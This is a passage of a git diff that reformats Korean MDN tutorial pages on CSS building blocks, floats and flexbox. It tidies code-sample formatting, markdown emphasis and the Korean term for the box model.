 쓰기 모드 외에 텍스트 방향도 있습니다. 위에서 언급한 것처럼, 아랍어와 같은 일부 언어는 가로로 작성되지만, 오른쪽에서 왼쪽으로 작성됩니다. 이것은 창의적 의미에서 사용할 가능성이 있는 것이 아닙니다 — 단순히 오른쪽에 무언가를 정렬하려면 다른 방법이 있습니다 — 그러나 CSS 의 특성의 일부로 이것을 이해하는 것이 중요합니다. 웹은 왼쪽에서 오른쪽으로 표시되는 언어만을 위한 것이 아닙니다!
 
-쓰기 모드와 텍스트 방향이 변경될 수 있기 때문에, 최신 CSS 레이아웃 방법은 왼쪽과 오른쪽, 위와 아래를 참조하지 않습니다. 대신에 그들은 인라인과 블록이라는 아이디어와 함께 ***시작** *과 ***끝** *에 대해 이야기할 것입니다. 지금 그것에 대해 너무 걱정하지 말고 레이아웃을 살펴보기 시작할 때, 이러한 아이디어를 명심하십시오. CSS 에 대한 이해에 도움이 될 것입니다.
+쓰기 모드와 텍스트 방향이 변경될 수 있기 때문에, 최신 CSS 레이아웃 방법은 왼쪽과 오른쪽, 위와 아래를 참조하지 않습니다. 대신에 그들은 인라인과 블록이라는 아이디어와 함께 _시작_ 과 _끝_ 에 대해 이야기할 것입니다. 지금 그것에 대해 너무 걱정하지 말고 레이아웃을 살펴보기 시작할 때, 이러한 아이디어를 명심하십시오. CSS 에 대한 이해에 도움이 될 것입니다.
 
 ## 논리적 속성 및 값
 
diff --git a/files/ko/learn/css/building_blocks/images_media_form_elements/index.md b/files/ko/learn/css/building_blocks/images_media_form_elements/index.md
index 807c21ac7b6b61..409ec268e38f08 100644
--- a/files/ko/learn/css/building_blocks/images_media_form_elements/index.md
+++ b/files/ko/learn/css/building_blocks/images_media_form_elements/index.md
@@ -129,8 +129,8 @@ button,
 input,
 select,
 textarea {
-  font-family : inherit;
-  font-size : 100%;
+  font-family: inherit;
+  font-size: 100%;
 }
 ```
 
@@ -173,7 +173,8 @@ textarea {
   font-family: inherit;
   font-size: 100%;
   box-sizing: border-box;
-  padding: 0; margin: 0;
+  padding: 0;
+  margin: 0;
 }
 
 textarea {
diff --git a/files/ko/learn/css/building_blocks/index.md b/files/ko/learn/css/building_blocks/index.md
index f57d587987e4ef..48ba52d890c2eb 100644
--- a/files/ko/learn/css/building_blocks/index.md
+++ b/files/ko/learn/css/building_blocks/index.md
@@ -2,6 +2,7 @@
 title: CSS 구성 블록
 slug: Learn/CSS/Building_blocks
 ---
+
 {{LearnSidebar}}
 
 이 강의에서는 [CSS 첫 번째 단계](/ko/docs/Learn/CSS/First_steps) 가 중단된 부분을 처리합니다 — 이제 언어와 구문에 익숙해졌으며, 약간 더 깊이 익힐 때가 되었을 때, 이를 사용하는 기본적인 경험을 얻었습니다. 이 과목에서는 계단식 및 상속, 사용 가능한 모든 선택자 유형, 단위 크기 조정, 배경 및 테두리 스타일 지정, 디버깅 등을 살펴 봅니다.
@@ -35,7 +36,7 @@ slug: Learn/CSS/Building_blocks
     - [결합자 (combinators)](/ko/docs/Learn/CSS/Building_blocks/Selectors/Combinators)
 
 - [박스 모델](/ko/docs/Learn/CSS/Building_blocks/The_box_model)
-  - : CSS 의 모든 것에는 주위에 박스가 있으며, 이러한 박스를 이해하는 것은 CSS 를 사용하여 레이아웃을 만들거나 다른 항목과 항목을 정렬하는 데 중요합니다. 이 수업에서는 CSS ***박스 모델** *을 제대로 살펴보고, 작동 방식 및 관련 용어를 이해하여 보다 복잡한 레이아웃 작업으로 넘어갈 수 있습니다.
+  - : CSS 의 모든 것에는 주위에 박스가 있으며, 이러한 박스를 이해하는 것은 CSS 를 사용하여 레이아웃을 만들거나 다른 항목과 항목을 정렬하는 데 중요합니다. 이 수업에서는 CSS _박스 모델_ 을 제대로 살펴보고, 작동 방식 및 관련 용어를 이해하여 보다 복잡한 레이아웃 작업으로 넘어갈 수 있습니다.
 - [배경 및 테두리](/ko/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders)
   - : 이번 수업에서는 CSS 배경과 테두리로 할 수 있는 창의적인 작업을 살펴 보겠습니다. 그라데이션 (gradients), 배경 이미지 및 둥근 테두리를 추가하는 경우, 배경과 테두리는 CSS 의 많은 스타일 질문에 대한 답입니다.
 - [다른 텍스트 방향 처리](/ko/docs/Learn/CSS/Building_blocks/Handling_different_text_directions)
diff --git a/files/ko/learn/css/building_blocks/organizing/index.md b/files/ko/learn/css/building_blocks/organizing/index.md
index bc70d64595875d..724e5e66ca19f7 100644
--- a/files/ko/learn/css/building_blocks/organizing/index.md
+++ b/files/ko/learn/css/building_blocks/organizing/index.md
@@ -2,6 +2,7 @@
 title: CSS 구성
 slug: Learn/CSS/Building_blocks/Organizing
 ---
+
 {{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}
 
 더 큰 스타일 시트와 큰 프로젝트에서 작업을 시작하면 큰 CSS 파일을 유지 관리하는 것이 어려울 수 있습니다. 이 기사에서는 CSS 를 쉽게 유지 관리할 수 있도록 작성하는 몇 가지 모범 사례와 유지 관리성을 개선하기 위해, 다른 사용자가 사용하는 해결책을 간략하게 살펴보겠습니다.
@@ -63,8 +64,13 @@ slug: Learn/CSS/Building_blocks/Organizing
 CSS 형식을 볼 수 있는 몇 가지 방법이 있습니다. 일부 개발자는 다음과 같이 모든 규칙을 한 라인에 넣습니다:
 
 ```css
-.box { background-color: #567895; }
-h2 { background-color: black; color: white; }
+.box {
+  background-color: #567895;
+}
+h2 {
+  background-color: black;
+  color: white;
+}
 ```
 
 다른 개발자는 모든 것을 새로운 라인으로 나누는 것을 선호합니다:
@@ -236,7 +242,7 @@ If you are not taking an OOCSS approach you might create custom CSS for the diff
 }
 
 .comment .content {
-  font-size: .8rem;
+  font-size: 0.8rem;
 }
 
 .list-item {
@@ -246,7 +252,7 @@ If you are not taking an OOCSS approach you might create custom CSS for the diff
 }
 
 .list-item .content {
-  font-size: .8rem;
+  font-size: 0.8rem;
 }
 ```
 
@@ -259,14 +265,14 @@ In OOCSS, you would create one pattern called `media` that would have all of the
 }
 
 .media .content {
-  font-size: .8rem;
+  font-size: 0.8rem;
 }
 
 .comment img {
   border: 1px solid grey;
 }
 
- .list-item {
+.list-item {
   border-bottom: 1px solid grey;
 }
 ```
@@ -286,7 +292,7 @@ The list-item would have `media` and `list-item` applied:
 <ul>
   <li class="media list-item">
     <img />
-   <div class="content"></div>
+    <div class="content"></div>
   </li>
 </ul>
 ```
@@ -300,9 +306,7 @@ BEM stands for Block Element Modifier. In BEM a block is a standalone entity suc
 ```html
 <form class="form form--theme-xmas form--simple">
   <input class="form__input" type="text" />
-  <input
-    class="form__submit form__submit--disabled"
-    type="submit" />
+  <input class="form__submit form__submit--disabled" type="submit" />
 </form>
 ```
 
diff --git a/files/ko/learn/css/building_blocks/selectors/index.md b/files/ko/learn/css/building_blocks/selectors/index.md
index 28ae67425d4dd8..d5de7052f1447a 100644
--- a/files/ko/learn/css/building_blocks/selectors/index.md
+++ b/files/ko/learn/css/building_blocks/selectors/index.md
@@ -52,7 +52,7 @@ CSS 에서, 선택자는 CSS 선택자 사양에 정의되어 있습니다. CSS
 
 ## 선택자 목록
 
-동일한 CSS 를 사용하는 항목이 두 개 이상인 경우 규칙이 모든 개별 선택자에 적용되도록 개별 선택자를 ***선택자 목록** *으로 결합할 수 있습니다. 예를 들어, `h1` 에 대해 동일한 CSS 와 `special` class 를 사용하면 이것을 두 개의 별도 규칙으로 작성할 수 있습니다.
+동일한 CSS 를 사용하는 항목이 두 개 이상인 경우 규칙이 모든 개별 선택자에 적용되도록 개별 선택자를 _선택자 목록_ 으로 결합할 수 있습니다. 예를 들어, `h1` 에 대해 동일한 CSS 와 `special` class 를 사용하면 이것을 두 개의 별도 규칙으로 작성할 수 있습니다.
 
 ```css
 h1 {
@@ -66,7 +66,7 @@ h1 {
 
 또한 이들 사이에 쉼표를 추가하여 선택자 목록으로 결합할 수도 있습니다.
 
-```css
+```css-nolint
 h1, .special {
   color: blue;
 }
@@ -102,7 +102,8 @@ h1 {
 그러나 결합하면, 전체 규칙이 유효하지 않은 것으로 간주되어 `h1` 또는 class 가 스타일 지정되지 않습니다.
 
 ```css
-h1, ..special {
+h1,
+..special {
   color: blue;
 }
 ```
@@ -116,19 +117,22 @@ h1, ..special {
 이 그룹에는 `<h1>` 과 같은 HTML 요소를 대상으로 하는 선택자가 포함됩니다.
 
 ```css
-h1 { }
+h1 {
+}
 ```
 
 또한 class 를 대상으로 하는 선택자가 포함됩니다.
 
 ```css
-.box { }
+.box {
+}
 ```
 
 또는 ID
 
 ```css
-#unique { }
+#unique {
+}
 ```
 
 ### 속성 선택자
@@ -136,13 +140,16 @@ h1 { }
 이 선택자 그룹은 요소에 특정 속성이 있는지에 따라 요소를 선택하는 다른 방법을 제공합니다.
 
 ```css
-a[title] { }
+a[title] {
+}
 ```
 
 또는 특정 값을 가진 속성의 존재 여부를 기반으로 선택하십시오:
 
 ```css
-a[href="https://example.com"] { }
+a[href="https://example.com"]
+{
+}
 ```
 
 ### Pseudo-classes 및 pseudo-elements
@@ -150,13 +157,15 @@ a[href="https://example.com"] { }
 이 선택자 그룹에는 요소의 특정 상태를 스타일링하는 pseudo-classes 가 포함됩니다. 예를 들어 `:hover` pseudo-class 는 마우스 포인터에 의해 요소를 가리킬 때만 요소를 선택합니다:
 
 ```css
-a:hover { }
+a:hover {
+}
 ```
 
 또한 요소 자체가 아닌 요소의 특정 부분을 선택하는 pseudo-elements 도 포함됩니다. 예를 들어, `::first-line` 은 항상 `<span>` 이 첫 번째 형식의 라인을 감싸는 것처럼 작동하여, 요소 내부의 첫 번째 텍스트 라인 (아래의 경우 `<p>`) 을 선택합니다.
 
 ```css
-p::first-line { }
+p::first-line {
+}
 ```
 
 ### 결합자 (Combinators)
@@ -164,7 +173,8 @@ p::first-line { }
 최종 선택자 그룹은 문서 내의 요소를 대상으로 하기 위해 다른 선택자를 결합합니다. 예를 들어 다음은 자식 결합자 (`>`) 를 사용하여 `<article>` 요소의 자식인 단락을 선택합니다:
 
 ```css
-article > p { }
+article > p {
+}
 ```
 
 ## 다음 단계
diff --git a/files/ko/learn/css/building_blocks/styling_tables/index.md b/files/ko/learn/css/building_blocks/styling_tables/index.md
index 3ab6a0dc098370..7bec5be1960b8c 100644
--- a/files/ko/learn/css/building_blocks/styling_tables/index.md
+++ b/files/ko/learn/css/building_blocks/styling_tables/index.md
@@ -32,7 +32,9 @@ HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 
 
 ```html
 <table>
-  <caption>A summary of the UK's most famous punk bands</caption>
+  <caption>
+    A summary of the UK's most famous punk bands
+  </caption>
   <thead>
     <tr>
       <th scope="col">Band</th>
@@ -55,7 +57,7 @@ HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 
       <td>London Calling</td>
     </tr>
 
-      ... some rows removed for brevity
+    ... some rows removed for brevity
 
     <tr>
       <th scope="row">The Stranglers</th>
@@ -87,9 +89,9 @@ HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 
 2. 다음으로, `style.css` 라는 새 파일을 만들고 다른 파일과 같은 디렉토리에 저장하십시오.
 3. {{htmlelement("head")}} 안에 다음 HTML 행을 배치하여 CSS 를 HTML 에 연결하십시오:
 
-    ```html
-    <link href="style.css" rel="stylesheet" type="text/css">
-    ```
+   ```html
+   <link href="style.css" rel="stylesheet" type="text/css" />
+   ```
 
 ### 간격 및 레이아웃
 
@@ -121,7 +123,8 @@ thead th:nth-child(4) {
   width: 35%;
 }
 
-th, td {
+th,
+td {
   padding: 20px;
 }
 ```
@@ -149,7 +152,10 @@ th, td {
 먼저, 다음 {{htmlelement("link")}} 요소를 기존 `<link>` 요소 바로 위의 HTML head 에 추가하십시오:
 
 ```html
-<link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'>
+<link
+  href="https://fonts.googleapis.com/css?family=Rock+Salt"
+  rel="stylesheet"
+  type="text/css" />
 ```
 
 이제 이전 CSS 아래의 `style.css` 파일에, 다음 CSS 를 추가하십시오:
@@ -158,11 +164,12 @@ th, td {
 /* typography */
 
 html {
-  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+  font-family: "helvetica neue", helvetica, arial, sans-serif;
 }
 
-thead th, tfoot th {
-  font-family: 'Rock Salt', cursive;
+thead th,
+tfoot th {
+  font-family: "Rock Salt", cursive;
 }
 
 th {
@@ -200,14 +207,21 @@ tfoot th {
 아래에서 다시 CSS 를 `style.css` 파일에 추가하고, 다시 시작하십시오:
 
 ```css
-thead, tfoot {
+thead,
+tfoot {
   background: url(leopardskin.jpg);
   color: white;
   text-shadow: 1px 1px 1px black;
 }
 
-thead th, tfoot th, tfoot td {
-  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+thead th,
+tfoot th,
+tfoot td {
+  background: linear-gradient(
+    to bottom,
+    rgba(0, 0, 0, 0.1),
+    rgba(0, 0, 0, 0.5)
+  );
   border: 3px solid purple;
 }
 ```
@@ -256,7 +270,7 @@ table {
 
 ```css
 caption {
-  font-family: 'Rock Salt', cursive;
+  font-family: "Rock Salt", cursive;
   padding: 20px;
   font-style: italic;
   caption-side: bottom;
diff --git a/files/ko/learn/css/building_blocks/the_box_model/index.md b/files/ko/learn/css/building_blocks/the_box_model/index.md
index 0f5afadc761678..7663b3af932731 100644
--- a/files/ko/learn/css/building_blocks/the_box_model/index.md
+++ b/files/ko/learn/css/building_blocks/the_box_model/index.md
@@ -1,7 +1,7 @@
 ---
-title: 상자 모델
+title: 박스 모델
 slug: Learn/CSS/Building_blocks/The_box_model
-original_slug: Learn/CSS/Building_blocks/상자_모델
+original_slug: Learn/CSS/Building_blocks/박스_모델
 ---
 
 {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}
@@ -101,9 +101,9 @@ CSS 레이아웃에 대해 자세한 내용을 배우려면 다음번에는 예
 
 나머지 수업에서는 외부 디스플레이 유형에 집중할 것이다.
 
-## CSS Box Model이란 무엇인가?
+## CSS 박스 모델이란 무엇인가?
 
-전체 CSS box model은 블록 박스에 적용되며, 인라인 박스는 박스 모델에 정의된 일부 동작만 사용합니다. 이 모델은 당신이 페이지에서 볼 수 있는 박스를 생성하기 위해 박스의 서로 다른 부분인 여백, 테두리, 패딩 및 콘텐츠등이 어떻게 함께 작동할 것인지를 정의합니다. 몇 가지 복잡성을 추가하기 위해 표준 및 대체 박스 모델이 있습니다.
+전체 CSS 박스 모델은 블록 박스에 적용되며, 인라인 박스는 박스 모델에 정의된 일부 동작만 사용합니다. 이 모델은 당신이 페이지에서 볼 수 있는 박스를 생성하기 위해 박스의 서로 다른 부분인 여백, 테두리, 패딩 및 콘텐츠등이 어떻게 함께 작동할 것인지를 정의합니다. 몇 가지 복잡성을 추가하기 위해 표준 및 대체 박스 모델이 있습니다.
 
 ### Box의 구성
 
@@ -118,9 +118,9 @@ CSS 블록 박스 구성하기 위한 우리의 준비물은:
 
 ![박스 모델](box-model.png)
 
-### 표준 CSS box model
+### 표준 CSS 박스 모델
 
-표준 box model에서 box에서 `width`와 `height`를 부여하면 *content box*의 너비와 높이가 정의됩니다. 그런 다음 패딩과 테두리는 박스의 너비와 높이에 추가되여 박스가 점유하는 전체 크기가 정해집니다. 그 내용이 아래 이미지에서 제시되었습니다.
+표준 박스 모델에서 box에서 `width`와 `height`를 부여하면 *content box*의 너비와 높이가 정의됩니다. 그런 다음 패딩과 테두리는 박스의 너비와 높이에 추가되여 박스가 점유하는 전체 크기가 정해집니다. 그 내용이 아래 이미지에서 제시되었습니다.
 
 우리는 박스의 `width`와 `height`, `margin`과 `border` 및 `padding` CSS 값이 다음과 같이 지정되어 있다고 간주합니다:
 
@@ -140,7 +140,7 @@ CSS 블록 박스 구성하기 위한 우리의 준비물은:
 
 > **참고:** 여백은 박스의 실제 크기에 포함되지 않습니다. 물론 여백은 박스가 페이지에서 차지하는 총 공간에 영향을 미치지만, 박스의 외부 공간에만 영향을 미칩니다. 박스의 영역은 테두리에서 멈추게 됩니다. 여백으로 확장되지 않습니다.
 
-### 대체 CSS box model
+### 대체 CSS 박스 모델
 
 박스의 실제 크기를 얻기 위해 테두리와 패딩을 추가하는 것이 다소 불편하다고 생각할 수 있습니다. 당신 말이 옳을 것입니다! 이러한 이유로 CSS는 표준 박스 모델 이후 머지않아 대체 박스 모델이 도입되었습니다. 이 모델을 사용한다면 너비는 페이지에서 표시되는 박스 너비이므로 콘텐츠 영역 너비는 너비에서 패딩 및 테두리 너비를 뺀 너비입니다. 위에서 사용된 것과 동일한 CSS를 아래 결과에 대입하면(폭 = 350px, 높이 = 150px)가 됩니다.
 
@@ -160,7 +160,9 @@ CSS 블록 박스 구성하기 위한 우리의 준비물은:
 html {
   box-sizing: border-box;
 }
-*, *::before, *::after {
+*,
+*::before,
+*::after {
   box-sizing: inherit;
 }
 ```
diff --git a/files/ko/learn/css/building_blocks/values_and_units/index.md b/files/ko/learn/css/building_blocks/values_and_units/index.md
index 78289aa54937ae..71be89c6dff8f4 100644
--- a/files/ko/learn/css/building_blocks/values_and_units/index.md
+++ b/files/ko/learn/css/building_blocks/values_and_units/index.md
@@ -52,7 +52,7 @@ CSS 사양과 MDN 의 속성 페이지에서 [`<color>`](/ko/docs/Web/CSS/color_
 ```css
 h1 {
   color: black;
-  background-color: rgb(197,93,161);
+  background-color: rgb(197, 93, 161);
 }
 ```
 
@@ -64,12 +64,12 @@ CSS 값은 허용가능한 하위값 모음을 정의하는 방법입니다. 즉
 
 CSS 에서 사용할 수 있는 다양한 숫자 데이터 형식이 있습니다. 다음은 모두 숫자로 분류됩니다:
 
-| 데이터 형식  | 설명     |
-| ---- | --- |
-| [`<integer>`](/ko/docs/Web/CSS/integer)       | `<integer>` 은 `1024` 또는`-55` 와 같은 정수입니다. |
-| [`<number>`](/ko/docs/Web/CSS/number)         | `<number>` 는 10진수를 나타냅니다 — 소수점 이하의 소수 자릿수 (예: `0.255`, `128` 또는 `-1.2`) 가 있을 수도 있고 없을 수도 있습니다.|
-| [`<dimension>`](/ko/docs/Web/CSS/dimension) | `<dimension>` 은 예를 들어 `45deg`, `5s` 또는 `10px`. 과 같은 단위가 붙어있는 `<number>` 입니다. `<dimension>` 은 [`<length>`](/ko/docs/Web/CSS/length), [`<angle>`](/ko/docs/Web/CSS/angle), [`<time>`](/ko/docs/Web/CSS/time) 및 [`<resolution>`](/ko/docs/Web/CSS/resolution) 의 종류를 포함하는 카테고리입니다[.](/ko/docs/Web/CSS/resolution) |
-| [`<percentage>`](/ko/docs/Web/CSS/percentage) | `<percentage>` 는 다른 값의 일부, 예를 들어 `50%` 를 나타냅니다. 백분율 값은 항상 다른 수량을 기준으로 합니다. 예를 들어 요소의 길이는 부모 요소의 길이를 기준으로 합니다.                                                                                                                                                                                     |
+| 데이터 형식                                   | 설명                                                                                                                                                                                                                                                                                                                                               |
+| --------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`<integer>`](/ko/docs/Web/CSS/integer)       | `<integer>` 은 `1024` 또는`-55` 와 같은 정수입니다.                                                                                                                                                                                                                                                                                                |
+| [`<number>`](/ko/docs/Web/CSS/number)         | `<number>` 는 10진수를 나타냅니다 — 소수점 이하의 소수 자릿수 (예: `0.255`, `128` 또는 `-1.2`) 가 있을 수도 있고 없을 수도 있습니다.                                                                                                                                                                                                               |
+| [`<dimension>`](/ko/docs/Web/CSS/dimension)   | `<dimension>` 은 예를 들어 `45deg`, `5s` 또는 `10px`. 과 같은 단위가 붙어있는 `<number>` 입니다. `<dimension>` 은 [`<length>`](/ko/docs/Web/CSS/length), [`<angle>`](/ko/docs/Web/CSS/angle), [`<time>`](/ko/docs/Web/CSS/time) 및 [`<resolution>`](/ko/docs/Web/CSS/resolution) 의 종류를 포함하는 카테고리입니다[.](/ko/docs/Web/CSS/resolution) |
+| [`<percentage>`](/ko/docs/Web/CSS/percentage) | `<percentage>` 는 다른 값의 일부, 예를 들어 `50%` 를 나타냅니다. 백분율 값은 항상 다른 수량을 기준으로 합니다. 예를 들어 요소의 길이는 부모 요소의 길이를 기준으로 합니다.                                                                                                                                                                         |
 
 ### 길이
 
diff --git a/files/ko/learn/css/css_layout/flexbox/index.md b/files/ko/learn/css/css_layout/flexbox/index.md
index c101c75768fe4b..aae526fd16ca46 100644
--- a/files/ko/learn/css/css_layout/flexbox/index.md
+++ b/files/ko/learn/css/css_layout/flexbox/index.md
@@ -320,7 +320,7 @@ article:nth-of-type(3) {
 
 ```css
 article:nth-of-type(3) div:first-child {
-  flex:1 100px;
+  flex: 1 100px;
   display: flex;
   flex-flow: row wrap;
   align-items: center;
diff --git a/files/ko/learn/css/css_layout/floats/index.md b/files/ko/learn/css/css_layout/floats/index.md
index 65352bc7964693..5212dcf7ab5f91 100644
--- a/files/ko/learn/css/css_layout/floats/index.md
+++ b/files/ko/learn/css/css_layout/floats/index.md
@@ -51,11 +51,31 @@ floats를 어떻게 사용하는지 알아보자. 우리는 요소 주위에 텍
 
 <div class="box">float</div>
 
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. </p>
-
-<p>Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus
+  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus
+  laoreet sit amet.
+</p>
+
+<p>
+  Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet
+  orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare
+  ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis
+  ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et
+  a urna. Ut id ornare felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 이제 다음 CSS를 HTML에 적용하십시요.({{htmlelement("style")}} 요소를 사용할지 개별 `.css` 파일에 대한 {{htmlelement("link")}}를 사용할지는 당신의 선택 여하에 달려있습니다.):
@@ -65,14 +85,17 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .box {
   width: 150px;
   height: 100px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
@@ -86,7 +109,7 @@ body {
   width: 150px;
   height: 100px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
@@ -98,11 +121,31 @@ body {
 
 <div class="box">float</div>
 
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
-
-<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate.
+</p>
+
+<p>
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -110,7 +153,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .box {
@@ -119,7 +165,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
@@ -136,7 +182,7 @@ float 상자의 바로 뒤에 있는 텍스트 형태의 첫 번째 단락에 `s
 
 ```css
 .special {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
 }
@@ -149,11 +195,31 @@ float 상자의 바로 뒤에 있는 텍스트 형태의 첫 번째 단락에 `s
 
 <div class="box">float</div>
 
-<p class="special">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
-
-<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p class="special">
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate.
+</p>
+
+<p>
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
